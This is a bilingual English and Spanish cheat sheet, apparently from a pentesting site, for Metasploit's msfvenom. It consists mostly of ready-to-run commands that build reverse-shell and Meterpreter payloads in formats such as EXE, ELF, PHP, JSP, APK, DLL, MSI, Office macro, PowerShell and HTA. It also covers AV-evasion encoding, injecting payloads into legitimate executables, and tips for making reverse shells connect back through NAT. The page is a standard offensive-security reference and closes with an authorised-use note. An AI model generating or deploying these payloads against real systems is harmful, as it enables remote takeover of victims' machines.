msfvenom | The Hack Sparrow

msfvenom is Metasploit's payload generator: it merges shellcode creation and encoding into a single tool. It produces everything from EXE and ELF to scripts, DLL or APK, ready to deliver to a target and connect back to a handler.

The key is understanding the difference between staged payloads (meterpreter/reverse_tcp, which pull down the second stage) and stageless ones (meterpreter_reverse_tcp, self-contained): the multi/handler must use exactly the same one. The format (-f) only defines the wrapper; what really has to match is the payload with its handler.

1. Beginner level — basic payloads and formats

Command	What it does
`msfvenom -l payloads`	Lists the available payloads
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe`	Meterpreter EXE
`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s`	Meterpreter ELF
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe`	Reverse shell (without meterpreter)
`msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.php`	PHP payload
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.jsp`	JSP payload
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f asp -o s.asp`	ASP payload
`msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=4444 -f raw`	Bash one-liner
`msfvenom -p windows/x64/exec CMD='whoami' -f exe -o r.exe`	Runs a command
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.bin`	Raw output (shellcode)
`msfvenom --list formats`	Lists the output formats
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f c`	Shellcode in C format
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f python`	Shellcode in Python
`msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -o s.apk`	Android payload

2. Advanced level — evasion, templates and formats

Command	What it does
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o s.exe`	Encodes with 5 iterations (evasion)
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -b '\\x00\\x0a\\x0d' -f c`	Avoids bad chars (exploiting)
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -x plantilla.exe -k -f exe -o s.exe`	Injects into a legitimate executable
`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=443 -f exe -o s.exe`	Meterpreter over HTTPS
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 EXITFUNC=thread -f exe`	Adjusts the exit function
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f dll -o s.dll`	DLL payload
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f msi -o s.msi`	Malicious MSI installer
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f vba`	Office macro
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f powershell -o s.ps1`	PowerShell payload
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 --platform windows -a x64 -f exe`	Sets platform and architecture
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf-so -o s.so`	Shared object (LD_PRELOAD)
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f war -o s.war`	WAR payload (Tomcat)
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hta-psh -o s.hta`	HTA payload (mshta)
`msfvenom ... -f exe \| tee s.exe; msfconsole -q -x 'use multi/handler;...'`	Generates and prepares the handler

3. Details people miss

The x86/shikata_ga_nai encoder no longer evades modern AV/EDR: its signature is well known. It is useful for removing bad chars, not as a real evasion layer.
The multi/handler PAYLOAD must match the generated one exactly, including the staged vs stageless distinction (meterpreter/reverse_tcp versus meterpreter_reverse_tcp).
LHOST is the IP you listen on, not the victim's. Behind NAT you need your public IP and port-forwarding, or the reverse shell will never connect.
When encoding with -i, the shellcode grows with each iteration; check the final size if you have a buffer limit in exploiting.
-x template.exe requires the template to be the same architecture; with -k it tries to preserve the binary's original function, but it is often unstable.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.

msfvenom es el generador de payloads de Metasploit: combina en una sola herramienta la creación y la codificación de shellcode. Produce desde EXE y ELF hasta scripts, DLL o APK, listos para entregar a un objetivo y conectar de vuelta contra un handler.

La clave está en entender la diferencia entre payloads staged (meterpreter/reverse_tcp, que descargan la segunda etapa) y stageless (meterpreter_reverse_tcp, autocontenidos): el multi/handler debe usar exactamente el mismo. El formato (-f) solo define el envoltorio; lo que de verdad tiene que casar es el payload con su handler.

1. Nivel principiante — payloads y formatos básicos

Comando	Qué hace
`msfvenom -l payloads`	Lista los payloads disponibles
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe`	Meterpreter EXE
`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s`	Meterpreter ELF
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe`	Reverse shell (sin meterpreter)
`msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.php`	Payload PHP
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.jsp`	Payload JSP
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f asp -o s.asp`	Payload ASP
`msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=4444 -f raw`	One-liner Bash
`msfvenom -p windows/x64/exec CMD='whoami' -f exe -o r.exe`	Ejecuta un comando
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.bin`	Salida en crudo (shellcode)
`msfvenom --list formats`	Lista los formatos de salida
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f c`	Shellcode en formato C
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f python`	Shellcode en Python
`msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -o s.apk`	Payload Android

2. Nivel avanzado — evasión, plantillas y formatos

Comando	Qué hace
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o s.exe`	Codifica con 5 iteraciones (evasión)
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -b '\\x00\\x0a\\x0d' -f c`	Evita bad chars (exploiting)
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -x plantilla.exe -k -f exe -o s.exe`	Inyecta en un ejecutable legítimo
`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=443 -f exe -o s.exe`	Meterpreter sobre HTTPS
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 EXITFUNC=thread -f exe`	Ajusta la función de salida
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f dll -o s.dll`	Payload en DLL
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f msi -o s.msi`	Instalador MSI malicioso
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f vba`	Macro para Office
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f powershell -o s.ps1`	Payload en PowerShell
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 --platform windows -a x64 -f exe`	Fija plataforma y arquitectura
`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf-so -o s.so`	Objeto compartido (LD_PRELOAD)
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f war -o s.war`	Payload WAR (Tomcat)
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hta-psh -o s.hta`	Payload HTA (mshta)
`msfvenom ... -f exe \| tee s.exe; msfconsole -q -x 'use multi/handler;...'`	Genera y prepara el handler

3. Detalles que se pasan por alto

El encoder x86/shikata_ga_nai ya no evade AV/EDR modernos: su firma es de sobra conocida. Sirve para eliminar bad chars, no como capa de evasión real.
El PAYLOAD del multi/handler debe coincidir exactamente con el generado, incluida la distinción staged vs stageless (meterpreter/reverse_tcp frente a meterpreter_reverse_tcp).
LHOST es la IP donde escuchas tú, no la víctima. Tras un NAT necesitas tu IP pública y port-forwarding, o el reverse shell nunca conectará.
Al codificar con -i, el shellcode crece en cada iteración; comprueba el tamaño final si tienes un límite de buffer en exploiting.
-x plantilla.exe exige que la plantilla sea de la misma arquitectura; con -k intenta preservar la función original del binario, pero suele ser inestable.

Uso responsable

Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.